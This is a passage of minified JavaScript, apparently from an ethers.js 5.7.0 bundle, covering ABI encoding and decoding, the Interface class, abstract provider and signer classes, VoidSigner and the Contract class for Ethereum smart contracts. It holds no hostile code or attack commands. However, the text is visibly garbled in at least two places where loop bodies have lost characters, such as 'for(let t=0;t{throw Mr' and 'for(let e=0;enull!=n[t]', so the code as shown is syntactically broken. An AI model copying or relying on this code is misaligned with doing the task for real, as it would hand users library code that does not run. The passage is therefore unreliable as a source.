r=parseInt(e[2]||\"256\");return(0===r||r>256||r%8!=0)&&Er.throwArgumentError(\"invalid \"+e[1]+\" bit length\",\"param\",t),new Cr(r/8,\"int\"===e[1],t.name)}if(e=t.type.match(wr),e){let r=parseInt(e[1]);return(0===r||r>32)&&Er.throwArgumentError(\"invalid bytes length\",\"param\",t),new Ir(r,t.name)}return Er.throwArgumentError(\"invalid type\",\"type\",t.type)}_getWordSize(){return 32}_getReader(t,e){return new sr(t,this._getWordSize(),this.coerceFunc,e)}_getWriter(){return new or(this._getWordSize())}getDefaultValue(t){const e=t.map((t=>this._getCoder(Ye.from(t))));return new Br(e,\"_\").defaultValue()}encode(t,e){t.length!==e.length&&Er.throwError(\"types/values length mismatch\",m.errors.INVALID_ARGUMENT,{count:{types:t.length,values:e.length},value:{types:t,values:e}});const r=t.map((t=>this._getCoder(Ye.from(t)))),n=new Br(r,\"_\"),A=this._getWriter();return n.encode(A,e),A.data}decode(t,e,r){const n=t.map((t=>this._getCoder(Ye.from(t))));return new Br(n,\"_\").decode(this._getReader(Q(e),r))}},Qr=new m(Fe);let br=class extends pe{},kr=class extends pe{},Dr=class extends pe{},Sr=class extends pe{static isIndexed(t){return!(!t||!t._isIndexed)}};const Nr={\"0x08c379a0\":{signature:\"Error(string)\",name:\"Error\",inputs:[\"string\"],reason:!0},\"0x4e487b71\":{signature:\"Panic(uint256)\",name:\"Panic\",inputs:[\"uint256\"]}};function Mr(t,e){const r=new Error(`deferred error during ABI decoding triggered accessing ${t}`);return r.error=e,r}let xr=class{constructor(t){let e=[];e=\"string\"==typeof t?JSON.parse(t):t,se(this,\"fragments\",e.map((t=>Je.from(t))).filter((t=>null!=t))),se(this,\"_abiCoder\",ae(new.target,\"getAbiCoder\")()),se(this,\"functions\",{}),se(this,\"errors\",{}),se(this,\"events\",{}),se(this,\"structs\",{}),this.fragments.forEach((t=>{let e=null;switch(t.type){case\"constructor\":return this.deploy?void Qr.warn(\"duplicate definition - constructor\"):void se(this,\"deploy\",t);case\"function\":e=this.functions;break;case\"event\":e=this.events;break;case\"error\":e=this.errors;break;default:return}let r=t.format();e[r]?Qr.warn(\"duplicate definition - \"+r):e[r]=t})),this.deploy||se(this,\"deploy\",Ve.from({payable:!1,type:\"constructor\"})),se(this,\"_isInterface\",!0)}format(t){t||(t=Le.full),t===Le.sighash&&Qr.throwArgumentError(\"interface does not support formatting sighash\",\"format\",t);const e=this.fragments.map((e=>e.format(t)));return t===Le.json?JSON.stringify(e.map((t=>JSON.parse(t)))):e}static getAbiCoder(){return _r}static getAddress(t){return ne(t)}static getSighash(t){return N(Bt(t.format()),0,4)}static getEventTopic(t){return Bt(t.format())}getFunction(t){if(k(t)){for(const e in this.functions)if(t===this.getSighash(e))return this.functions[e];Qr.throwArgumentError(\"no matching function\",\"sighash\",t)}if(-1===t.indexOf(\"(\")){const e=t.trim(),r=Object.keys(this.functions).filter((t=>t.split(\"(\")[0]===e));return 0===r.length?Qr.throwArgumentError(\"no matching function\",\"name\",e):r.length>1&&Qr.throwArgumentError(\"multiple matching functions\",\"name\",e),this.functions[r[0]]}const e=this.functions[We.fromString(t).format()];return e||Qr.throwArgumentError(\"no matching function\",\"signature\",t),e}getEvent(t){if(k(t)){const e=t.toLowerCase();for(const t in this.events)if(e===this.getEventTopic(t))return this.events[t];Qr.throwArgumentError(\"no matching event\",\"topichash\",e)}if(-1===t.indexOf(\"(\")){const e=t.trim(),r=Object.keys(this.events).filter((t=>t.split(\"(\")[0]===e));return 0===r.length?Qr.throwArgumentError(\"no matching event\",\"name\",e):r.length>1&&Qr.throwArgumentError(\"multiple matching events\",\"name\",e),this.events[r[0]]}const e=this.events[je.fromString(t).format()];return e||Qr.throwArgumentError(\"no matching event\",\"signature\",t),e}getError(t){if(k(t)){const e=ae(this.constructor,\"getSighash\");for(const r in this.errors){if(t===e(this.errors[r]))return this.errors[r]}Qr.throwArgumentError(\"no matching error\",\"sighash\",t)}if(-1===t.indexOf(\"(\")){const e=t.trim(),r=Object.keys(this.errors).filter((t=>t.split(\"(\")[0]===e));return 0===r.length?Qr.throwArgumentError(\"no matching error\",\"name\",e):r.length>1&&Qr.throwArgumentError(\"multiple matching errors\",\"name\",e),this.errors[r[0]]}const e=this.errors[We.fromString(t).format()];return e||Qr.throwArgumentError(\"no matching error\",\"signature\",t),e}getSighash(t){if(\"string\"==typeof t)try{t=this.getFunction(t)}catch(e){try{t=this.getError(t)}catch(t){throw e}}return ae(this.constructor,\"getSighash\")(t)}getEventTopic(t){return\"string\"==typeof t&&(t=this.getEvent(t)),ae(this.constructor,\"getEventTopic\")(t)}_decodeParams(t,e){return this._abiCoder.decode(t,e)}_encodeParams(t,e){return this._abiCoder.encode(t,e)}encodeDeploy(t){return this._encodeParams(this.deploy.inputs,t||[])}decodeErrorResult(t,e){\"string\"==typeof t&&(t=this.getError(t));const r=Q(e);return S(r.slice(0,4))!==this.getSighash(t)&&Qr.throwArgumentError(`data signature does not match error ${t.name}.`,\"data\",S(r)),this._decodeParams(t.inputs,r.slice(4))}encodeErrorResult(t,e){return\"string\"==typeof t&&(t=this.getError(t)),S(b([this.getSighash(t),this._encodeParams(t.inputs,e||[])]))}decodeFunctionData(t,e){\"string\"==typeof t&&(t=this.getFunction(t));const r=Q(e);return S(r.slice(0,4))!==this.getSighash(t)&&Qr.throwArgumentError(`data signature does not match function ${t.name}.`,\"data\",S(r)),this._decodeParams(t.inputs,r.slice(4))}encodeFunctionData(t,e){return\"string\"==typeof t&&(t=this.getFunction(t)),S(b([this.getSighash(t),this._encodeParams(t.inputs,e||[])]))}decodeFunctionResult(t,e){\"string\"==typeof t&&(t=this.getFunction(t));let r=Q(e),n=null,A=\"\",i=null,o=null,s=null;switch(r.length%this._abiCoder._getWordSize()){case 0:try{return this._abiCoder.decode(t.outputs,r)}catch(t){}break;case 4:{const t=S(r.slice(0,4)),e=Nr[t];if(e)i=this._abiCoder.decode(e.inputs,r.slice(4)),o=e.name,s=e.signature,e.reason&&(n=i[0]),\"Error\"===o?A=`; VM Exception while processing transaction: reverted with reason string ${JSON.stringify(i[0])}`:\"Panic\"===o&&(A=`; VM Exception while processing transaction: reverted with panic code ${i[0]}`);else try{const e=this.getError(t);i=this._abiCoder.decode(e.inputs,r.slice(4)),o=e.name,s=e.format()}catch(t){}break}}return Qr.throwError(\"call revert exception\"+A,m.errors.CALL_EXCEPTION,{method:t.format(),data:S(e),errorArgs:i,errorName:o,errorSignature:s,reason:n})}encodeFunctionResult(t,e){return\"string\"==typeof t&&(t=this.getFunction(t)),S(this._abiCoder.encode(t.outputs,e||[]))}encodeFilterTopics(t,e){\"string\"==typeof t&&(t=this.getEvent(t)),e.length>t.inputs.length&&Qr.throwError(\"too many arguments for \"+t.format(),m.errors.UNEXPECTED_ARGUMENT,{argument:\"values\",value:e});let r=[];t.anonymous||r.push(this.getEventTopic(t));const n=(t,e)=>\"string\"===t.type?Bt(e):\"bytes\"===t.type?F(S(e)):(\"bool\"===t.type&&\"boolean\"==typeof e&&(e=e?\"0x01\":\"0x00\"),t.type.match(/^u?int/)&&(e=Y.from(e).toHexString()),\"address\"===t.type&&this._abiCoder.encode([\"address\"],[e]),x(S(e),32));for(e.forEach(((e,A)=>{let i=t.inputs[A];i.indexed?null==e?r.push(null):\"array\"===i.baseType||\"tuple\"===i.baseType?Qr.throwArgumentError(\"filtering with tuples or arrays not supported\",\"contract.\"+i.name,e):Array.isArray(e)?r.push(e.map((t=>n(i,t)))):r.push(n(i,e)):null!=e&&Qr.throwArgumentError(\"cannot filter non-indexed parameters; must be null\",\"contract.\"+i.name,e)}));r.length&&null===r[r.length-1];)r.pop();return r}encodeEventLog(t,e){\"string\"==typeof t&&(t=this.getEvent(t));const r=[],n=[],A=[];return t.anonymous||r.push(this.getEventTopic(t)),e.length!==t.inputs.length&&Qr.throwArgumentError(\"event arguments/values mismatch\",\"values\",e),t.inputs.forEach(((t,i)=>{const o=e[i];if(t.indexed)if(\"string\"===t.type)r.push(Bt(o));else if(\"bytes\"===t.type)r.push(F(o));else{if(\"tuple\"===t.baseType||\"array\"===t.baseType)throw new Error(\"not implemented\");r.push(this._abiCoder.encode([t.type],[o]))}else n.push(t),A.push(o)})),{data:this._abiCoder.encode(n,A),topics:r}}decodeEventLog(t,e,r){if(\"string\"==typeof t&&(t=this.getEvent(t)),null!=r&&!t.anonymous){let e=this.getEventTopic(t);k(r[0],32)&&r[0].toLowerCase()===e||Qr.throwError(\"fragment/topic mismatch\",m.errors.INVALID_ARGUMENT,{argument:\"topics[0]\",expected:e,value:r[0]}),r=r.slice(1)}let n=[],A=[],i=[];t.inputs.forEach(((t,e)=>{t.indexed?\"string\"===t.type||\"bytes\"===t.type||\"tuple\"===t.baseType||\"array\"===t.baseType?(n.push(Ye.fromObject({type:\"bytes32\",name:t.name})),i.push(!0)):(n.push(t),i.push(!1)):(A.push(t),i.push(!1))}));let o=null!=r?this._abiCoder.decode(n,b(r)):null,s=this._abiCoder.decode(A,e,!0),a=[],c=0,h=0;t.inputs.forEach(((t,e)=>{if(t.indexed)if(null==o)a[e]=new Sr({_isIndexed:!0,hash:null});else if(i[e])a[e]=new Sr({_isIndexed:!0,hash:o[h++]});else try{a[e]=o[h++]}catch(t){a[e]=t}else try{a[e]=s[c++]}catch(t){a[e]=t}if(t.name&&null==a[t.name]){const r=a[e];r instanceof Error?Object.defineProperty(a,t.name,{enumerable:!0,get:()=>{throw Mr(`property ${JSON.stringify(t.name)}`,r)}}):a[t.name]=r}}));for(let t=0;t{throw Mr(`index ${t}`,e)}})}return Object.freeze(a)}parseTransaction(t){let e=this.getFunction(t.data.substring(0,10).toLowerCase());return e?new kr({args:this._abiCoder.decode(e.inputs,\"0x\"+t.data.substring(10)),functionFragment:e,name:e.name,signature:e.format(),sighash:this.getSighash(e),value:Y.from(t.value||\"0\")}):null}parseLog(t){let e=this.getEvent(t.topics[0]);return!e||e.anonymous?null:new br({eventFragment:e,name:e.name,signature:e.format(),topic:this.getEventTopic(e),args:this.decodeEventLog(e,t.data,t.topics)})}parseError(t){const e=S(t);let r=this.getError(e.substring(0,10).toLowerCase());return r?new Dr({args:this._abiCoder.decode(r.inputs,\"0x\"+e.substring(10)),errorFragment:r,name:r.name,signature:r.format(),sighash:this.getSighash(r)}):null}static isInterface(t){return!(!t||!t._isInterface)}};var Fr=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))};const Pr=new m(\"abstract-provider/5.7.0\");let Tr=class t{constructor(){Pr.checkAbstract(new.target,t),se(this,\"_isProvider\",!0)}getFeeData(){return Fr(this,void 0,void 0,(function*(){const{block:t,gasPrice:e}=yield ce({block:this.getBlock(\"latest\"),gasPrice:this.getGasPrice().catch((t=>null))});let r=null,n=null,A=null;return t&&t.baseFeePerGas&&(r=t.baseFeePerGas,A=Y.from(\"1500000000\"),n=t.baseFeePerGas.mul(2).add(A)),{lastBaseFeePerGas:r,maxFeePerGas:n,maxPriorityFeePerGas:A,gasPrice:e}}))}addListener(t,e){return this.on(t,e)}removeListener(t,e){return this.off(t,e)}static isProvider(t){return!(!t||!t._isProvider)}};var Rr=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))};const Ur=new m(\"abstract-signer/5.7.0\"),Gr=[\"accessList\",\"ccipReadEnabled\",\"chainId\",\"customData\",\"data\",\"from\",\"gasLimit\",\"gasPrice\",\"maxFeePerGas\",\"maxPriorityFeePerGas\",\"nonce\",\"to\",\"type\",\"value\"],Hr=[m.errors.INSUFFICIENT_FUNDS,m.errors.NONCE_EXPIRED,m.errors.REPLACEMENT_UNDERPRICED];let Lr=class t{constructor(){Ur.checkAbstract(new.target,t),se(this,\"_isSigner\",!0)}getBalance(t){return Rr(this,void 0,void 0,(function*(){return this._checkProvider(\"getBalance\"),yield this.provider.getBalance(this.getAddress(),t)}))}getTransactionCount(t){return Rr(this,void 0,void 0,(function*(){return this._checkProvider(\"getTransactionCount\"),yield this.provider.getTransactionCount(this.getAddress(),t)}))}estimateGas(t){return Rr(this,void 0,void 0,(function*(){this._checkProvider(\"estimateGas\");const e=yield ce(this.checkTransaction(t));return yield this.provider.estimateGas(e)}))}call(t,e){return Rr(this,void 0,void 0,(function*(){this._checkProvider(\"call\");const r=yield ce(this.checkTransaction(t));return yield this.provider.call(r,e)}))}sendTransaction(t){return Rr(this,void 0,void 0,(function*(){this._checkProvider(\"sendTransaction\");const e=yield this.populateTransaction(t),r=yield this.signTransaction(e);return yield this.provider.sendTransaction(r)}))}getChainId(){return Rr(this,void 0,void 0,(function*(){this._checkProvider(\"getChainId\");return(yield this.provider.getNetwork()).chainId}))}getGasPrice(){return Rr(this,void 0,void 0,(function*(){return this._checkProvider(\"getGasPrice\"),yield this.provider.getGasPrice()}))}getFeeData(){return Rr(this,void 0,void 0,(function*(){return this._checkProvider(\"getFeeData\"),yield this.provider.getFeeData()}))}resolveName(t){return Rr(this,void 0,void 0,(function*(){return this._checkProvider(\"resolveName\"),yield this.provider.resolveName(t)}))}checkTransaction(t){for(const e in t)-1===Gr.indexOf(e)&&Ur.throwArgumentError(\"invalid transaction key: \"+e,\"transaction\",t);const e=he(t);return null==e.from?e.from=this.getAddress():e.from=Promise.all([Promise.resolve(e.from),this.getAddress()]).then((e=>(e[0].toLowerCase()!==e[1].toLowerCase()&&Ur.throwArgumentError(\"from address mismatch\",\"transaction\",t),e[0]))),e}populateTransaction(t){return Rr(this,void 0,void 0,(function*(){const e=yield ce(this.checkTransaction(t));null!=e.to&&(e.to=Promise.resolve(e.to).then((t=>Rr(this,void 0,void 0,(function*(){if(null==t)return null;const e=yield this.resolveName(t);return null==e&&Ur.throwArgumentError(\"provided ENS name resolves to null\",\"tx.to\",t),e})))),e.to.catch((t=>{})));const r=null!=e.maxFeePerGas||null!=e.maxPriorityFeePerGas;if(null==e.gasPrice||2!==e.type&&!r?0!==e.type&&1!==e.type||!r||Ur.throwArgumentError(\"pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas\",\"transaction\",t):Ur.throwArgumentError(\"eip-1559 transaction do not support gasPrice\",\"transaction\",t),2!==e.type&&null!=e.type||null==e.maxFeePerGas||null==e.maxPriorityFeePerGas)if(0===e.type||1===e.type)null==e.gasPrice&&(e.gasPrice=this.getGasPrice());else{const t=yield this.getFeeData();if(null==e.type)if(null!=t.maxFeePerGas&&null!=t.maxPriorityFeePerGas)if(e.type=2,null!=e.gasPrice){const t=e.gasPrice;delete e.gasPrice,e.maxFeePerGas=t,e.maxPriorityFeePerGas=t}else null==e.maxFeePerGas&&(e.maxFeePerGas=t.maxFeePerGas),null==e.maxPriorityFeePerGas&&(e.maxPriorityFeePerGas=t.maxPriorityFeePerGas);else null!=t.gasPrice?(r&&Ur.throwError(\"network does not support EIP-1559\",m.errors.UNSUPPORTED_OPERATION,{operation:\"populateTransaction\"}),null==e.gasPrice&&(e.gasPrice=t.gasPrice),e.type=0):Ur.throwError(\"failed to get consistent fee data\",m.errors.UNSUPPORTED_OPERATION,{operation:\"signer.getFeeData\"});else 2===e.type&&(null==e.maxFeePerGas&&(e.maxFeePerGas=t.maxFeePerGas),null==e.maxPriorityFeePerGas&&(e.maxPriorityFeePerGas=t.maxPriorityFeePerGas))}else e.type=2;return null==e.nonce&&(e.nonce=this.getTransactionCount(\"pending\")),null==e.gasLimit&&(e.gasLimit=this.estimateGas(e).catch((t=>{if(Hr.indexOf(t.code)>=0)throw t;return Ur.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\",m.errors.UNPREDICTABLE_GAS_LIMIT,{error:t,tx:e})}))),null==e.chainId?e.chainId=this.getChainId():e.chainId=Promise.all([Promise.resolve(e.chainId),this.getChainId()]).then((e=>(0!==e[1]&&e[0]!==e[1]&&Ur.throwArgumentError(\"chainId address mismatch\",\"transaction\",t),e[0]))),yield ce(e)}))}_checkProvider(t){this.provider||Ur.throwError(\"missing provider\",m.errors.UNSUPPORTED_OPERATION,{operation:t||\"_checkProvider\"})}static isSigner(t){return!(!t||!t._isSigner)}},Or=class t extends Lr{constructor(t,e){super(),se(this,\"address\",t),se(this,\"provider\",e||null)}getAddress(){return Promise.resolve(this.address)}_fail(t,e){return Promise.resolve().then((()=>{Ur.throwError(t,m.errors.UNSUPPORTED_OPERATION,{operation:e})}))}signMessage(t){return this._fail(\"VoidSigner cannot sign messages\",\"signMessage\")}signTransaction(t){return this._fail(\"VoidSigner cannot sign transactions\",\"signTransaction\")}_signTypedData(t,e,r){return this._fail(\"VoidSigner cannot sign typed data\",\"signTypedData\")}connect(e){return new t(this.address,e)}};const Yr=new m(\"transactions/5.7.0\");var Kr;function Jr(t,e){return{address:ne(t),storageKeys:(e||[]).map(((e,r)=>(32!==function(t){if(\"string\"!=typeof t)t=S(t);else if(!k(t)||t.length%2)return null;return(t.length-2)/2}(e)&&Yr.throwArgumentError(\"invalid access list storageKey\",`accessList[${t}:${r}]`,e),e.toLowerCase())))}}!function(t){t[t.legacy=0]=\"legacy\",t[t.eip2930=1]=\"eip2930\",t[t.eip1559=2]=\"eip1559\"}(Kr||(Kr={}));var jr=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))};const zr=new m(\"contracts/5.7.0\"),qr={chainId:!0,data:!0,from:!0,gasLimit:!0,gasPrice:!0,nonce:!0,to:!0,value:!0,type:!0,accessList:!0,maxFeePerGas:!0,maxPriorityFeePerGas:!0,customData:!0,ccipReadEnabled:!0};function Xr(t,e){return jr(this,void 0,void 0,(function*(){const r=yield e;\"string\"!=typeof r&&zr.throwArgumentError(\"invalid address or ENS name\",\"name\",r);try{return ne(r)}catch(t){}t||zr.throwError(\"a provider or signer is needed to resolve ENS names\",m.errors.UNSUPPORTED_OPERATION,{operation:\"resolveName\"});const n=yield t.resolveName(r);return null==n&&zr.throwArgumentError(\"resolver or addr is not configured for ENS name\",\"name\",r),n}))}function Vr(t,e,r){return jr(this,void 0,void 0,(function*(){return Array.isArray(r)?yield Promise.all(r.map(((r,n)=>Vr(t,Array.isArray(e)?e[n]:e[r.name],r)))):\"address\"===r.type?yield Xr(t,e):\"tuple\"===r.type?yield Vr(t,e,r.components):\"array\"===r.baseType?Array.isArray(e)?yield Promise.all(e.map((e=>Vr(t,e,r.arrayChildren)))):Promise.reject(zr.makeError(\"invalid value for array\",m.errors.INVALID_ARGUMENT,{argument:\"value\",value:e})):e}))}function Wr(t,e,r){return jr(this,void 0,void 0,(function*(){let n={};r.length===e.inputs.length+1&&\"object\"==typeof r[r.length-1]&&(n=he(r.pop())),zr.checkArgumentCount(r.length,e.inputs.length,\"passed to contract\"),t.signer?n.from?n.from=ce({override:Xr(t.signer,n.from),signer:t.signer.getAddress()}).then((t=>jr(this,void 0,void 0,(function*(){return ne(t.signer)!==t.override&&zr.throwError(\"Contract with a Signer cannot override from\",m.errors.UNSUPPORTED_OPERATION,{operation:\"overrides.from\"}),t.override})))):n.from=t.signer.getAddress():n.from&&(n.from=Xr(t.provider,n.from));const A=yield ce({args:Vr(t.signer||t.provider,r,e.inputs),address:t.resolvedAddress,overrides:ce(n)||{}}),i=t.interface.encodeFunctionData(e,A.args),o={data:i,to:A.address},s=A.overrides;if(null!=s.nonce&&(o.nonce=Y.from(s.nonce).toNumber()),null!=s.gasLimit&&(o.gasLimit=Y.from(s.gasLimit)),null!=s.gasPrice&&(o.gasPrice=Y.from(s.gasPrice)),null!=s.maxFeePerGas&&(o.maxFeePerGas=Y.from(s.maxFeePerGas)),null!=s.maxPriorityFeePerGas&&(o.maxPriorityFeePerGas=Y.from(s.maxPriorityFeePerGas)),null!=s.from&&(o.from=s.from),null!=s.type&&(o.type=s.type),null!=s.accessList&&(o.accessList=function(t){if(Array.isArray(t))return t.map(((t,e)=>Array.isArray(t)?(t.length>2&&Yr.throwArgumentError(\"access list expected to be [ address, storageKeys[] ]\",`value[${e}]`,t),Jr(t[0],t[1])):Jr(t.address,t.storageKeys)));const e=Object.keys(t).map((e=>{const r=t[e].reduce(((t,e)=>(t[e]=!0,t)),{});return Jr(e,Object.keys(r).sort())}));return e.sort(((t,e)=>t.address.localeCompare(e.address))),e}(s.accessList)),null==o.gasLimit&&null!=e.gas){let t=21e3;const r=Q(i);for(let e=0;enull!=n[t]));return a.length&&zr.throwError(`cannot override ${a.map((t=>JSON.stringify(t))).join(\",\")}`,m.errors.UNSUPPORTED_OPERATION,{operation:\"overrides\",overrides:a}),o}))}function Zr(t,e){const r=e.wait.bind(e);e.wait=e=>r(e).then((e=>(e.events=e.logs.map((r=>{let n=fe(r),A=null;try{A=t.interface.parseLog(r)}catch(t){}return A&&(n.args=A.args,n.decode=(e,r)=>t.interface.decodeEventLog(A.eventFragment,e,r),n.event=A.name,n.eventSignature=A.signature),n.removeListener=()=>t.provider,n.getBlock=()=>t.provider.getBlock(e.blockHash),n.getTransaction=()=>t.provider.getTransaction(e.transactionHash),n.getTransactionReceipt=()=>Promise.resolve(e),n})),e)))}function $r(t,e,r){const n=t.signer||t.provider;return function(...A){return jr(this,void 0,void 0,(function*(){let i;if(A.length===e.inputs.length+1&&\"object\"==typeof A[A.length-1]){const t=he(A.pop());null!=t.blockTag&&(i=yield t.blockTag),delete t.blockTag,A.push(t)}null!=t.deployTransaction&&(yield t._deployed(i));const o=yield Wr(t,e,A),s=yield n.call(o,i);try{let n=t.interface.decodeFunctionResult(e,s);return r&&1===e.outputs.length&&(n=n[0]),n}catch(e){throw e.code===m.errors.CALL_EXCEPTION&&(e.address=t.address,e.args=A,e.transaction=o),e}}))}}function tn(t,e,r){return e.constant?$r(t,e,r):function(t,e){return function(...r){return jr(this,void 0,void 0,(function*(){t.signer||zr.throwError(\"sending a transaction requires a signer\",m.errors.UNSUPPORTED_OPERATION,{operation:\"sendTransaction\"}),null!=t.deployTransaction&&(yield t._deployed());const n=yield Wr(t,e,r),A=yield t.signer.sendTransaction(n);return Zr(t,A),A}))}}(t,e)}function en(t){return!t.address||null!=t.topics&&0!==t.topics.length?(t.address||\"*\")+\"@\"+(t.topics?t.topics.map((t=>Array.isArray(t)?t.join(\"|\"):t)).join(\":\"):\"\"):\"*\"}class rn{constructor(t,e){se(this,\"tag\",t),se(this,\"filter\",e),this._listeners=[]}addListener(t,e){this._listeners.push({listener:t,once:e})}removeListener(t){let e=!1;this._listeners=this._listeners.filter((r=>!(!e&&r.listener===t)||(e=!0,!1)))}removeAllListeners(){this._listeners=[]}listeners(){return this._listeners.map((t=>t.listener))}listenerCount(){return this._listeners.length}run(t){const e=this.listenerCount();return this._listeners=this._listeners.filter((e=>{const r=t.slice();return setTimeout((()=>{e.listener.apply(this,r)}),0),!e.once})),e}prepareEvent(t){}getEmit(t){return[t]}}class nn extends rn{constructor(){super(\"error\",null)}}class An extends rn{constructor(t,e,r,n){const A={address:t};let i=e.getEventTopic(r);n?(i!==n[0]&&zr.throwArgumentError(\"topic mismatch\",\"topics\",n),A.topics=n.slice()):A.topics=[i],super(en(A),A),se(this,\"address\",t),se(this,\"interface\",e),se(this,\"fragment\",r)}prepareEvent(t){super.prepareEvent(t),t.event=this.fragment.name,t.eventSignature=this.fragment.format(),t.decode=(t,e)=>this.interface.decodeEventLog(this.fragment,t,e);try{t.args=this.interface.decodeEventLog(this.fragment,t.data,t.topics)}catch(e){t.args=null,t.decodeError=e}}getEmit(t){const e=function(t){const e=[],r=function(t,n){if(Array.isArray(n))for(let A in n){const i=t.slice();i.push(A);try{r(i,n[A])}catch(t){e.push({path:i,error:t})}}};return r([],t),e}(t.args);if(e.length)throw e[0].error;const r=(t.args||[]).slice();return r.push(t),r}}class on extends rn{constructor(t,e){super(\"*\",{address:t}),se(this,\"address\",t),se(this,\"interface\",e)}prepareEvent(t){super.prepareEvent(t);try{const e=this.interface.parseLog(t);t.event=e.name,t.eventSignature=e.signature,t.decode=(t,r)=>this.interface.decodeEventLog(e.eventFragment,t,r),t.args=e.args}catch(t){}}}let sn=class{constructor(t,e,r){se(this,\"interface\",ae(new.target,\"getInterface\")(e)),null==r?(se(this,\"provider\",null),se(this,\"signer\",null)):Lr.isSigner(r)?(se(this,\"provider\",r.provider||null),se(this,\"signer\",r)):Tr.isProvider(r)?(se(this,\"provider\",r),se(this,\"signer\",null)):zr.throwArgumentError(\"invalid signer or provider\",\"signerOrProvider\",r),se(this,\"callStatic\",{}),se(this,\"estimateGas\",{}),se(this,\"functions\",{}),se(this,\"populateTransaction\",{}),se(this,\"filters\",{});{const t={};Object.keys(this.interface.events).forEach((e=>{const r=this.interface.events[e];se(this.filters,e,((...t)=>({address:this.address,topics:this.interface.encodeFilterTopics(r,t)}))),t[r.name]||(t[r.name]=[]),t[r.name].push(e)})),Object.keys(t).forEach((e=>{const r=t[e];1===r.length?se(this.filters,e,this.filters[r[0]]):zr.warn(`Duplicate definition of ${e} (${r.join(\", \")})`)}))}if(se(this,\"_runningEvents\",{}),se(this,\"_wrappedEmits\",{}),null==t&&zr.throwArgumentError(\"invalid contract address or ENS name\",\"addressOrName\",t),se(this,\"address\",t),this.provider)se(this,\"resolvedAddress\",Xr(this.provider,t));else try{se(this,\"resolvedAddress\",Promise.resolve(ne(t)))}catch(t){zr.throwError(\"provider is required to use ENS name as contract address\",m.errors.UNSUPPORTED_OPERATION,{operation:\"new Contract\"})}this.resolvedAddress.catch((t=>{}));const n={},A={};Object.keys(this.interface.functions).forEach((t=>{const e=this.interface.functions[t];if(A[t])zr.warn(`Duplicate ABI entry for ${JSON.stringify(t)}`);else{A[t]=!0;{const r=e.name;n[`%${r}`]||(n[`%${r}`]=[]),n[`%${r}`].push(t)}null==this[t]&&se(this,t,tn(this,e,!0)),null==this.functions[t]&&se(this.functions,t,tn(this,e,!1)),null==this.callStatic[t]&&se(this.callStatic,t,$r(this,e,!0)),null==this.populateTransaction[t]&&se(this.populateTransaction,t,function(t,e){return function(...r){return Wr(t,e,r)}}(this,e)),null==this.estimateGas[t]&&se(this.estimateGas,t,function(t,e){const r=t.signer||t.provider;return function(...n){return jr(this,void 0,void 0,(function*(){r||zr.throwError(\"estimate require a provider or signer\",m.errors.UNSUPPORTED_OPERATION,{operation:\"estimateGas\"});const A=yield Wr(t,e,n);return yield r.estimateGas(A)}))}}(this,e))}})),Object.keys(n).forEach((t=>{const e=n[t];if(e.length>1)return;t=t.substring(1);const r=e[0];try{null==this[t]&&se(this,t,this[r])}catch(t){}null==this.functions[t]&&se(this.functions,t,this.functions[r]),null==this.callStatic[t]&&se(this.callStatic,t,this.callStatic[r]),null==this.populateTransaction[t]&&se(this.populateTransaction,t,this.populateTransaction[r]),null==this.estimateGas[t]&&se(this.estimateGas,t,this.estimateGas[r])}))}static getContractAddress(t){return Ae(t)}static getInterface(t){return xr.isInterface(t)?t:new xr(t)}deployed(){return this._deployed()}_deployed(t){return this._deployedPromise||(this.deployTransaction?this._deployedPromise=this.deployTransaction.wait().then((()=>this)):this._deployedPromise=this.provider.getCode(this.address,t).then((t=>(\"0x\"===t&&zr.throwError(\"contract not deployed\",m.errors.UNSUPPORTED_OPERATION,{contractAddress:this.address,operation:\"getDeployed\"}),this)))),this._deployedPromise}fallback(t){this.signer||zr.throwError(\"sending a transactions require a signer\",m.errors.UNSUPPORTED_OPERATION,{operation:\"sendTransaction(fallback)\"});const e=he(t||{});return[\"from\",\"to\"].forEach((function(t){null!=e[t]&&zr.throwError(\"cannot override \"+t,m.errors.UNSUPPORTED_OPERATION,{operation:t})})),e.to=this.resolvedAddress,this.deployed().then((()=>this.signer.sendTransaction(e)))}connect(t){\"string\"==typeof t&&(t=new Or(t,this.provider));const e=new this.constructor(this.address,this.interface,t);return this.deployTransaction&&se(e,\"deployTransaction\",this.deployTransaction),e}attach(t){return new this.constructor(t,this.interface,this.signer||this.provider)}static isIndexed(t){return Sr.isIndexed(t)}_normalizeRunningEvent(t){return this._runningEvents[t.tag]?this._runningEvents[t.tag]:t}_getRunningEvent(t){if(\"string\"==typeof t){if(\"error\"===t)return this._normalizeRunningEvent(new nn);if(\"event\"===t)return this._normalizeRunningEvent(new rn(\"event\",null));if(\"*\"===t)return this._normalizeRunningEvent(new on(this.address,this.interface));const e=this.interface.getEvent(t);return this._normalizeRunningEvent(new An(this.address,this.interface,e))}if(t.topics&&t.topics.length>0){try{const e=t.topics[0];if(\"string\"!=typeof e)throw new Error(\"invalid topic\");const r=this.interface.getEvent(e);return this._normalizeRunningEvent(new An(this.address,this.interface,r,t.topics))}catch(t){}const e={address:this.address,topics:t.topics};return this._normalizeRunningEvent(new rn(en(e),e))}return this._normalizeRunningEvent(new on(this.address,this.interface))}_checkRunningEvents(t){if(0===t.listenerCount()){delete this._runningEvents[t.tag];const e=this._wrappedEmits[t.tag];e&&t.filter&&(this.provider.off(t.filter,e),delete this._wrappedEmits[t.tag])}}_wrapEvent(t,e,r){const n=fe(e);return 